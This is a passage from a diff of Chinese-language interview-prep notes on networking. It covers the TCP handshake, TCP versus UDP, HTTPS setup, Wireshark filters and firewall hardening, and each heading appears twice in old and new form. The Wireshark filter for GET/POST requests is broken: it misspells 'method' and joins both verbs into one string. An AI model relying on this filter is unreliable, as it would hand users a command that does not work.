3客户端收到服务器端返回的SYNSACK报文后向服务器端返回一个确认号为yy1、序号为xx1的ACK报文一个标准的TCP连接完成。
### TCP和UDP协议区别
### <span id="head114"> TCP和UDP协议区别</span>
tcp面向连接,udp面向报文
tcp对系统资源的要求多
udp结构简单
tcp保证数据完整性和顺序udp不保证
### https的建立过程
### <span id="head115"> https的建立过程</span>
- 客户端发送请求到服务器端
- 服务器端返回证书和公开密钥,公开密钥作为证书的一部分而存在
@ -1230,9 +1355,9 @@ tcp保证数据完整性和顺序udp不保证
- 客户端使用共享密钥解密数据
- SSL加密建立
## 流量分析
## <span id="head116"> 流量分析</span>
### wireshark简单的过滤规则
### <span id="head117"> wireshark简单的过滤规则</span>
**过滤ip**:
@ -1250,6 +1375,6 @@ tcp保证数据完整性和顺序udp不保证
过滤get/post包`http.request.mothod=="GET/POST"`
## 防火墙
## <span id="head118"> 防火墙</span>
### 简述路由器交换机、防火墙等网络设备常用的几个基础配置加固项,以及配置方法。
### <span id="head119"> 简述路由器交换机、防火墙等网络设备常用的几个基础配置加固项,以及配置方法。</span>